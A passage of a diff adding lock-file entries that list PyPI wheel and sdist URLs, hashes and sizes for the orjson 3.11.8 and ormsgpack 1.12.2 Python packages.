+    { url = "https://files.pythonhosted.org/packages/be/c9/135194a02ab76b04ed9a10f68624b7ebd238bbe55548878b11ff15a0f352/orjson-3.11.8-cp312-cp312-win32.whl", hash = "sha256:e0950ed1bcb9893f4293fd5c5a7ee10934fbf82c4101c70be360db23ce24b7d2", size = 131966, upload-time = "2026-03-31T16:15:31.687Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/9a/9796f8fbe3cf30ce9cb696748dbb535e5c87be4bf4fe2e9ca498ef1fa8cf/orjson-3.11.8-cp312-cp312-win_amd64.whl", hash = "sha256:3cf17c141617b88ced4536b2135c552490f07799f6ad565948ea07bef0dcb9a6", size = 127441, upload-time = "2026-03-31T16:15:33.333Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/47/5aaf54524a7a4a0dd09dd778f3fa65dd2108290615b652e23d944152bc8e/orjson-3.11.8-cp312-cp312-win_arm64.whl", hash = "sha256:48854463b0572cc87dac7d981aa72ed8bf6deedc0511853dc76b8bbd5482d36d", size = 127364, upload-time = "2026-03-31T16:15:34.748Z" },
+    { url = "https://files.pythonhosted.org/packages/66/7f/95fba509bb2305fab0073558f1e8c3a2ec4b2afe58ed9fcb7d3b8beafe94/orjson-3.11.8-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:3f23426851d98478c8970da5991f84784a76682213cd50eb73a1da56b95239dc", size = 229180, upload-time = "2026-03-31T16:15:36.426Z" },
+    { url = "https://files.pythonhosted.org/packages/f6/9d/b237215c743ca073697d759b5503abd2cb8a0d7b9c9e21f524bcf176ab66/orjson-3.11.8-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:ebaed4cef74a045b83e23537b52ef19a367c7e3f536751e355a2a394f8648559", size = 128754, upload-time = "2026-03-31T16:15:38.049Z" },
+    { url = "https://files.pythonhosted.org/packages/42/3d/27d65b6d11e63f133781425f132807aef793ed25075fec686fc8e46dd528/orjson-3.11.8-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:97c8f5d3b62380b70c36ffacb2a356b7c6becec86099b177f73851ba095ef623", size = 131877, upload-time = "2026-03-31T16:15:39.484Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/cc/faee30cd8f00421999e40ef0eba7332e3a625ce91a58200a2f52c7fef235/orjson-3.11.8-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:436c4922968a619fb7fef1ccd4b8b3a76c13b67d607073914d675026e911a65c", size = 130361, upload-time = "2026-03-31T16:15:41.274Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/bb/a6c55896197f97b6d4b4e7c7fd77e7235517c34f5d6ad5aadd43c54c6d7c/orjson-3.11.8-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1ab359aff0436d80bfe8a23b46b5fea69f1e18aaf1760a709b4787f1318b317f", size = 135521, upload-time = "2026-03-31T16:15:42.758Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/7c/ca3a3525aa32ff636ebb1778e77e3587b016ab2edb1b618b36ba96f8f2c0/orjson-3.11.8-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f89b6d0b3a8d81e1929d3ab3d92bbc225688bd80a770c49432543928fe09ac55", size = 146862, upload-time = "2026-03-31T16:15:44.341Z" },
+    { url = "https://files.pythonhosted.org/packages/3c/0c/18a9d7f18b5edd37344d1fd5be17e94dc652c67826ab749c6e5948a78112/orjson-3.11.8-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:29c009e7a2ca9ad0ed1376ce20dd692146a5d9fe4310848904b6b4fee5c5c137", size = 132847, upload-time = "2026-03-31T16:15:46.368Z" },
+    { url = "https://files.pythonhosted.org/packages/23/91/7e722f352ad67ca573cee44de2a58fb810d0f4eb4e33276c6a557979fd8a/orjson-3.11.8-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:705b895b781b3e395c067129d8551655642dfe9437273211d5404e87ac752b53", size = 133637, upload-time = "2026-03-31T16:15:48.123Z" },
+    { url = "https://files.pythonhosted.org/packages/af/04/32845ce13ac5bd1046ddb02ac9432ba856cc35f6d74dde95864fe0ad5523/orjson-3.11.8-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:88006eda83858a9fdf73985ce3804e885c2befb2f506c9a3723cdeb5a2880e3e", size = 141906, upload-time = "2026-03-31T16:15:49.626Z" },
+    { url = "https://files.pythonhosted.org/packages/02/5e/c551387ddf2d7106d9039369862245c85738b828844d13b99ccb8d61fd06/orjson-3.11.8-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:55120759e61309af7fcf9e961c6f6af3dde5921cdb3ee863ef63fd9db126cae6", size = 423722, upload-time = "2026-03-31T16:15:51.176Z" },
+    { url = "https://files.pythonhosted.org/packages/00/a3/ecfe62434096f8a794d4976728cb59bcfc4a643977f21c2040545d37eb4c/orjson-3.11.8-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:98bdc6cb889d19bed01de46e67574a2eab61f5cc6b768ed50e8ac68e9d6ffab6", size = 147801, upload-time = "2026-03-31T16:15:52.939Z" },
+    { url = "https://files.pythonhosted.org/packages/18/6d/0dce10b9f6643fdc59d99333871a38fa5a769d8e2fc34a18e5d2bfdee900/orjson-3.11.8-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:708c95f925a43ab9f34625e45dcdadf09ec8a6e7b664a938f2f8d5650f6c090b", size = 136460, upload-time = "2026-03-31T16:15:54.431Z" },
+    { url = "https://files.pythonhosted.org/packages/01/d6/6dde4f31842d87099238f1f07b459d24edc1a774d20687187443ab044191/orjson-3.11.8-cp313-cp313-win32.whl", hash = "sha256:01c4e5a6695dc09098f2e6468a251bc4671c50922d4d745aff1a0a33a0cf5b8d", size = 131956, upload-time = "2026-03-31T16:15:56.081Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/f9/4e494a56e013db957fb77186b818b916d4695b8fa2aa612364974160e91b/orjson-3.11.8-cp313-cp313-win_amd64.whl", hash = "sha256:c154a35dd1330707450bb4d4e7dd1f17fa6f42267a40c1e8a1daa5e13719b4b8", size = 127410, upload-time = "2026-03-31T16:15:57.54Z" },
+    { url = "https://files.pythonhosted.org/packages/57/7f/803203d00d6edb6e9e7eef421d4e1adbb5ea973e40b3533f3cfd9aeb374e/orjson-3.11.8-cp313-cp313-win_arm64.whl", hash = "sha256:4861bde57f4d253ab041e374f44023460e60e71efaa121f3c5f0ed457c3a701e", size = 127338, upload-time = "2026-03-31T16:15:59.106Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/35/b01910c3d6b85dc882442afe5060cbf719c7d1fc85749294beda23d17873/orjson-3.11.8-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:ec795530a73c269a55130498842aaa762e4a939f6ce481a7e986eeaa790e9da4", size = 229171, upload-time = "2026-03-31T16:16:00.651Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/56/c9ec97bd11240abef39b9e5d99a15462809c45f677420fd148a6c5e6295e/orjson-3.11.8-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:c492a0e011c0f9066e9ceaa896fbc5b068c54d365fea5f3444b697ee01bc8625", size = 128746, upload-time = "2026-03-31T16:16:02.673Z" },
+    { url = "https://files.pythonhosted.org/packages/3b/e4/66d4f30a90de45e2f0cbd9623588e8ae71eef7679dbe2ae954ed6d66a41f/orjson-3.11.8-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:883206d55b1bd5f5679ad5e6ddd3d1a5e3cac5190482927fdb8c78fb699193b5", size = 131867, upload-time = "2026-03-31T16:16:04.342Z" },
+    { url = "https://files.pythonhosted.org/packages/19/30/2a645fc9286b928675e43fa2a3a16fb7b6764aa78cc719dc82141e00f30b/orjson-3.11.8-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5774c1fdcc98b2259800b683b19599c133baeb11d60033e2095fd9d4667b82db", size = 124664, upload-time = "2026-03-31T16:16:05.837Z" },
+    { url = "https://files.pythonhosted.org/packages/db/44/77b9a86d84a28d52ba3316d77737f6514e17118119ade3f91b639e859029/orjson-3.11.8-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ac7381c83dd3d4a6347e6635950aa448f54e7b8406a27c7ecb4a37e9f1ae08b", size = 129701, upload-time = "2026-03-31T16:16:07.407Z" },
+    { url = "https://files.pythonhosted.org/packages/b3/ea/eff3d9bfe47e9bc6969c9181c58d9f71237f923f9c86a2d2f490cd898c82/orjson-3.11.8-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:14439063aebcb92401c11afc68ee4e407258d2752e62d748b6942dad20d2a70d", size = 141202, upload-time = "2026-03-31T16:16:09.48Z" },
+    { url = "https://files.pythonhosted.org/packages/52/c8/90d4b4c60c84d62068d0cf9e4d8f0a4e05e76971d133ac0c60d818d4db20/orjson-3.11.8-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fa72e71977bff96567b0f500fc5bfd2fdf915f34052c782a4c6ebbdaa97aa858", size = 127194, upload-time = "2026-03-31T16:16:11.02Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/c7/ea9e08d1f0ba981adffb629811148b44774d935171e7b3d780ae43c4c254/orjson-3.11.8-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7679bc2f01bb0d219758f1a5f87bb7c8a81c0a186824a393b366876b4948e14f", size = 133639, upload-time = "2026-03-31T16:16:13.434Z" },
+    { url = "https://files.pythonhosted.org/packages/6c/8c/ddbbfd6ba59453c8fc7fe1d0e5983895864e264c37481b2a791db635f046/orjson-3.11.8-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:14f7b8fcb35ef403b42fa5ecfa4ed032332a91f3dc7368fbce4184d59e1eae0d", size = 141914, upload-time = "2026-03-31T16:16:14.955Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/31/dbfbefec9df060d34ef4962cd0afcb6fa7a9ec65884cb78f04a7859526c3/orjson-3.11.8-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:c2bdf7b2facc80b5e34f48a2d557727d5c5c57a8a450de122ae81fa26a81c1bc", size = 423800, upload-time = "2026-03-31T16:16:16.594Z" },
+    { url = "https://files.pythonhosted.org/packages/87/cf/f74e9ae9803d4ab46b163494adba636c6d7ea955af5cc23b8aaa94cfd528/orjson-3.11.8-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ccd7ba1b0605813a0715171d39ec4c314cb97a9c85893c2c5c0c3a3729df38bf", size = 147837, upload-time = "2026-03-31T16:16:18.585Z" },
+    { url = "https://files.pythonhosted.org/packages/64/e6/9214f017b5db85e84e68602792f742e5dc5249e963503d1b356bee611e01/orjson-3.11.8-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:cdbc8c9c02463fef4d3c53a9ba3336d05496ec8e1f1c53326a1e4acc11f5c600", size = 136441, upload-time = "2026-03-31T16:16:20.151Z" },
+    { url = "https://files.pythonhosted.org/packages/24/dd/3590348818f58f837a75fb969b04cdf187ae197e14d60b5e5a794a38b79d/orjson-3.11.8-cp314-cp314-win32.whl", hash = "sha256:0b57f67710a8cd459e4e54eb96d5f77f3624eba0c661ba19a525807e42eccade", size = 131983, upload-time = "2026-03-31T16:16:21.823Z" },
+    { url = "https://files.pythonhosted.org/packages/3f/0f/b6cb692116e05d058f31ceee819c70f097fa9167c82f67fabe7516289abc/orjson-3.11.8-cp314-cp314-win_amd64.whl", hash = "sha256:735e2262363dcbe05c35e3a8869898022af78f89dde9e256924dc02e99fe69ca", size = 127396, upload-time = "2026-03-31T16:16:23.685Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/d1/facb5b5051fabb0ef9d26c6544d87ef19a939a9a001198655d0d891062dd/orjson-3.11.8-cp314-cp314-win_arm64.whl", hash = "sha256:6ccdea2c213cf9f3d9490cbd5d427693c870753df41e6cb375bd79bcbafc8817", size = 127330, upload-time = "2026-03-31T16:16:25.496Z" },
+]
+
+[[package]]
+name = "ormsgpack"
+version = "1.12.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/12/0c/f1761e21486942ab9bb6feaebc610fa074f7c5e496e6962dea5873348077/ormsgpack-1.12.2.tar.gz", hash = "sha256:944a2233640273bee67521795a73cf1e959538e0dfb7ac635505010455e53b33", size = 39031, upload-time = "2026-01-18T20:55:28.023Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/93/fa/a91f70829ebccf6387c4946e0a1a109f6ba0d6a28d65f628bedfad94b890/ormsgpack-1.12.2-cp310-cp310-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:c1429217f8f4d7fcb053523bbbac6bed5e981af0b85ba616e6df7cce53c19657", size = 378262, upload-time = "2026-01-18T20:55:22.284Z" },
+    { url = "https://files.pythonhosted.org/packages/5f/62/3698a9a0c487252b5c6a91926e5654e79e665708ea61f67a8bdeceb022bf/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5f13034dc6c84a6280c6c33db7ac420253852ea233fc3ee27c8875f8dd651163", size = 203034, upload-time = "2026-01-18T20:55:53.324Z" },
+    { url = "https://files.pythonhosted.org/packages/66/3a/f716f64edc4aec2744e817660b317e2f9bb8de372338a95a96198efa1ac1/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:59f5da97000c12bc2d50e988bdc8576b21f6ab4e608489879d35b2c07a8ab51a", size = 210538, upload-time = "2026-01-18T20:55:20.097Z" },
+    { url = "https://files.pythonhosted.org/packages/72/30/a436be9ce27d693d4e19fa94900028067133779f09fc45776db3f689c822/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e4459c3f27066beadb2b81ea48a076a417aafffff7df1d3c11c519190ed44f2", size = 212401, upload-time = "2026-01-18T20:55:46.447Z" },
+    { url = "https://files.pythonhosted.org/packages/10/c5/cde98300fd33fee84ca71de4751b19aeeca675f0cf3c0ec4b043f40f3b76/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:7a1c460655d7288407ffa09065e322a7231997c0d62ce914bf3a96ad2dc6dedd", size = 387080, upload-time = "2026-01-18T20:56:00.884Z" },
+    { url = "https://files.pythonhosted.org/packages/6a/31/30bf445ef827546747c10889dd254b3d84f92b591300efe4979d792f4c41/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:458e4568be13d311ef7d8877275e7ccbe06c0e01b39baaac874caaa0f46d826c", size = 482346, upload-time = "2026-01-18T20:55:39.831Z" },
+    { url = "https://files.pythonhosted.org/packages/2e/f5/e1745ddf4fa246c921b5ca253636c4c700ff768d78032f79171289159f6e/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8cde5eaa6c6cbc8622db71e4a23de56828e3d876aeb6460ffbcb5b8aff91093b", size = 425178, upload-time = "2026-01-18T20:55:27.106Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/a2/e6532ed7716aed03dede8df2d0d0d4150710c2122647d94b474147ccd891/ormsgpack-1.12.2-cp310-cp310-win_amd64.whl", hash = "sha256:dc7a33be14c347893edbb1ceda89afbf14c467d593a5ee92c11de4f1666b4d4f", size = 117183, upload-time = "2026-01-18T20:55:55.52Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/08/8b68f24b18e69d92238aa8f258218e6dfeacf4381d9d07ab8df303f524a9/ormsgpack-1.12.2-cp311-cp311-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bd5f4bf04c37888e864f08e740c5a573c4017f6fd6e99fa944c5c935fabf2dd9", size = 378266, upload-time = "2026-01-18T20:55:59.876Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/24/29fc13044ecb7c153523ae0a1972269fcd613650d1fa1a9cec1044c6b666/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:34d5b28b3570e9fed9a5a76528fc7230c3c76333bc214798958e58e9b79cc18a", size = 203035, upload-time = "2026-01-18T20:55:30.59Z" },
+    { url = "https://files.pythonhosted.org/packages/ad/c2/00169fb25dd8f9213f5e8a549dfb73e4d592009ebc85fbbcd3e1dcac575b/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3708693412c28f3538fb5a65da93787b6bbab3484f6bc6e935bfb77a62400ae5", size = 210539, upload-time = "2026-01-18T20:55:48.569Z" },
+    { url = "https://files.pythonhosted.org/packages/1b/33/543627f323ff3c73091f51d6a20db28a1a33531af30873ea90c5ac95a9b5/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:43013a3f3e2e902e1d05e72c0f1aeb5bedbb8e09240b51e26792a3c89267e181", size = 212401, upload-time = "2026-01-18T20:56:10.101Z" },
+    { url = "https://files.pythonhosted.org/packages/e8/5d/f70e2c3da414f46186659d24745483757bcc9adccb481a6eb93e2b729301/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7c8b1667a72cbba74f0ae7ecf3105a5e01304620ed14528b2cb4320679d2869b", size = 387082, upload-time = "2026-01-18T20:56:12.047Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/d6/06e8dc920c7903e051f30934d874d4afccc9bb1c09dcaf0bc03a7de4b343/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:df6961442140193e517303d0b5d7bc2e20e69a879c2d774316125350c4a76b92", size = 482346, upload-time = "2026-01-18T20:56:05.152Z" },
+    { url = "https://files.pythonhosted.org/packages/66/c4/f337ac0905eed9c393ef990c54565cd33644918e0a8031fe48c098c71dbf/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c6a4c34ddef109647c769d69be65fa1de7a6022b02ad45546a69b3216573eb4a", size = 425181, upload-time = "2026-01-18T20:55:37.83Z" },
+    { url = "https://files.pythonhosted.org/packages/78/29/6d5758fabef3babdf4bbbc453738cc7de9cd3334e4c38dd5737e27b85653/ormsgpack-1.12.2-cp311-cp311-win_amd64.whl", hash = "sha256:73670ed0375ecc303858e3613f407628dd1fca18fe6ac57b7b7ce66cc7bb006c", size = 117182, upload-time = "2026-01-18T20:55:31.472Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/57/17a15549233c37e7fd054c48fe9207492e06b026dbd872b826a0b5f833b6/ormsgpack-1.12.2-cp311-cp311-win_arm64.whl", hash = "sha256:c2be829954434e33601ae5da328cccce3266b098927ca7a30246a0baec2ce7bd", size = 111464, upload-time = "2026-01-18T20:55:38.811Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/36/16c4b1921c308a92cef3bf6663226ae283395aa0ff6e154f925c32e91ff5/ormsgpack-1.12.2-cp312-cp312-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7a29d09b64b9694b588ff2f80e9826bdceb3a2b91523c5beae1fab27d5c940e7", size = 378618, upload-time = "2026-01-18T20:55:50.835Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/68/468de634079615abf66ed13bb5c34ff71da237213f29294363beeeca5306/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b39e629fd2e1c5b2f46f99778450b59454d1f901bc507963168985e79f09c5d", size = 203186, upload-time = "2026-01-18T20:56:11.163Z" },
+    { url = "https://files.pythonhosted.org/packages/73/a9/d756e01961442688b7939bacd87ce13bfad7d26ce24f910f6028178b2cc8/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:958dcb270d30a7cb633a45ee62b9444433fa571a752d2ca484efdac07480876e", size = 210738, upload-time = "2026-01-18T20:56:09.181Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/ba/795b1036888542c9113269a3f5690ab53dd2258c6fb17676ac4bd44fcf94/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58d379d72b6c5e964851c77cfedfb386e474adee4fd39791c2c5d9efb53505cc", size = 212569, upload-time = "2026-01-18T20:56:06.135Z" },
+    { url = "https://files.pythonhosted.org/packages/6c/aa/bff73c57497b9e0cba8837c7e4bcab584b1a6dbc91a5dd5526784a5030c8/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8463a3fc5f09832e67bdb0e2fda6d518dc4281b133166146a67f54c08496442e", size = 387166, upload-time = "2026-01-18T20:55:36.738Z" },
+    { url = "https://files.pythonhosted.org/packages/d3/cf/f8283cba44bcb7b14f97b6274d449db276b3a86589bdb363169b51bc12de/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:eddffb77eff0bad4e67547d67a130604e7e2dfbb7b0cde0796045be4090f35c6", size = 482498, upload-time = "2026-01-18T20:55:29.626Z" },
+    { url = "https://files.pythonhosted.org/packages/05/be/71e37b852d723dfcbe952ad04178c030df60d6b78eba26bfd14c9a40575e/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fcd55e5f6ba0dbce624942adf9f152062135f991a0126064889f68eb850de0dd", size = 425518, upload-time = "2026-01-18T20:55:49.556Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/0c/9803aa883d18c7ef197213cd2cbf73ba76472a11fe100fb7dab2884edf48/ormsgpack-1.12.2-cp312-cp312-win_amd64.whl", hash = "sha256:d024b40828f1dde5654faebd0d824f9cc29ad46891f626272dd5bfd7af2333a4", size = 117462, upload-time = "2026-01-18T20:55:47.726Z" },
+    { url = "https://files.pythonhosted.org/packages/c8/9e/029e898298b2cc662f10d7a15652a53e3b525b1e7f07e21fef8536a09bb8/ormsgpack-1.12.2-cp312-cp312-win_arm64.whl", hash = "sha256:da538c542bac7d1c8f3f2a937863dba36f013108ce63e55745941dda4b75dbb6", size = 111559, upload-time = "2026-01-18T20:55:54.273Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/29/bb0eba3288c0449efbb013e9c6f58aea79cf5cb9ee1921f8865f04c1a9d7/ormsgpack-1.12.2-cp313-cp313-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:5ea60cb5f210b1cfbad8c002948d73447508e629ec375acb82910e3efa8ff355", size = 378661, upload-time = "2026-01-18T20:55:57.765Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/31/5efa31346affdac489acade2926989e019e8ca98129658a183e3add7af5e/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3601f19afdbea273ed70b06495e5794606a8b690a568d6c996a90d7255e51c1", size = 203194, upload-time = "2026-01-18T20:56:08.252Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/56/d0087278beef833187e0167f8527235ebe6f6ffc2a143e9de12a98b1ce87/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:29a9f17a3dac6054c0dce7925e0f4995c727f7c41859adf9b5572180f640d172", size = 210778, upload-time = "2026-01-18T20:55:17.694Z" },
+    { url = "https://files.pythonhosted.org/packages/1c/a2/072343e1413d9443e5a252a8eb591c2d5b1bffbe5e7bfc78c069361b92eb/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:39c1bd2092880e413902910388be8715f70b9f15f20779d44e673033a6146f2d", size = 212592, upload-time = "2026-01-18T20:55:32.747Z" },
+    { url = "https://files.pythonhosted.org/packages/a2/8b/a0da3b98a91d41187a63b02dda14267eefc2a74fcb43cc2701066cf1510e/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:50b7249244382209877deedeee838aef1542f3d0fc28b8fe71ca9d7e1896a0d7", size = 387164, upload-time = "2026-01-18T20:55:40.853Z" },
+    { url = "https://files.pythonhosted.org/packages/19/bb/6d226bc4cf9fc20d8eb1d976d027a3f7c3491e8f08289a2e76abe96a65f3/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:5af04800d844451cf102a59c74a841324868d3f1625c296a06cc655c542a6685", size = 482516, upload-time = "2026-01-18T20:55:42.033Z" },
+    { url = "https://files.pythonhosted.org/packages/fb/f1/bb2c7223398543dedb3dbf8bb93aaa737b387de61c5feaad6f908841b782/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cec70477d4371cd524534cd16472d8b9cc187e0e3043a8790545a9a9b296c258", size = 425539, upload-time = "2026-01-18T20:55:24.727Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/e8/0fb45f57a2ada1fed374f7494c8cd55e2f88ccd0ab0a669aa3468716bf5f/ormsgpack-1.12.2-cp313-cp313-win_amd64.whl", hash = "sha256:21f4276caca5c03a818041d637e4019bc84f9d6ca8baa5ea03e5cc8bf56140e9", size = 117459, upload-time = "2026-01-18T20:55:56.876Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/d4/0cfeea1e960d550a131001a7f38a5132c7ae3ebde4c82af1f364ccc5d904/ormsgpack-1.12.2-cp313-cp313-win_arm64.whl", hash = "sha256:baca4b6773d20a82e36d6fd25f341064244f9f86a13dead95dd7d7f996f51709", size = 111577, upload-time = "2026-01-18T20:55:43.605Z" },
+    { url = "https://files.pythonhosted.org/packages/94/16/24d18851334be09c25e87f74307c84950f18c324a4d3c0b41dabdbf19c29/ormsgpack-1.12.2-cp314-cp314-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bc68dd5915f4acf66ff2010ee47c8906dc1cf07399b16f4089f8c71733f6e36c", size = 378717, upload-time = "2026-01-18T20:55:26.164Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/a2/88b9b56f83adae8032ac6a6fa7f080c65b3baf9b6b64fd3d37bd202991d4/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46d084427b4132553940070ad95107266656cb646ea9da4975f85cb1a6676553", size = 203183, upload-time = "2026-01-18T20:55:18.815Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/80/43e4555963bf602e5bdc79cbc8debd8b6d5456c00d2504df9775e74b450b/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c010da16235806cf1d7bc4c96bf286bfa91c686853395a299b3ddb49499a3e13", size = 210814, upload-time = "2026-01-18T20:55:33.973Z" },
+    { url = "https://files.pythonhosted.org/packages/78/e1/7cfbf28de8bca6efe7e525b329c31277d1b64ce08dcba723971c241a9d60/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18867233df592c997154ff942a6503df274b5ac1765215bceba7a231bea2745d", size = 212634, upload-time = "2026-01-18T20:55:28.634Z" },
+    { url = "https://files.pythonhosted.org/packages/95/f8/30ae5716e88d792a4e879debee195653c26ddd3964c968594ddef0a3cc7e/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b009049086ddc6b8f80c76b3955df1aa22a5fbd7673c525cd63bf91f23122ede", size = 387139, upload-time = "2026-01-18T20:56:02.013Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/81/aee5b18a3e3a0e52f718b37ab4b8af6fae0d9d6a65103036a90c2a8ffb5d/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:1dcc17d92b6390d4f18f937cf0b99054824a7815818012ddca925d6e01c2e49e", size = 482578, upload-time = "2026-01-18T20:55:35.117Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/17/71c9ba472d5d45f7546317f467a5fc941929cd68fb32796ca3d13dcbaec2/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f04b5e896d510b07c0ad733d7fce2d44b260c5e6c402d272128f8941984e4285", size = 425539, upload-time = "2026-01-18T20:56:04.009Z" },
+    { url = "https://files.pythonhosted.org/packages/2e/a6/ac99cd7fe77e822fed5250ff4b86fa66dd4238937dd178d2299f10b69816/ormsgpack-1.12.2-cp314-cp314-win_amd64.whl", hash = "sha256:ae3aba7eed4ca7cb79fd3436eddd29140f17ea254b91604aa1eb19bfcedb990f", size = 117493, upload-time = "2026-01-18T20:56:07.343Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/67/339872846a1ae4592535385a1c1f93614138566d7af094200c9c3b45d1e5/ormsgpack-1.12.2-cp314-cp314-win_arm64.whl", hash = "sha256:118576ea6006893aea811b17429bfc561b4778fad393f5f538c84af70b01260c", size = 111579, upload-time = "2026-01-18T20:55:21.161Z" },
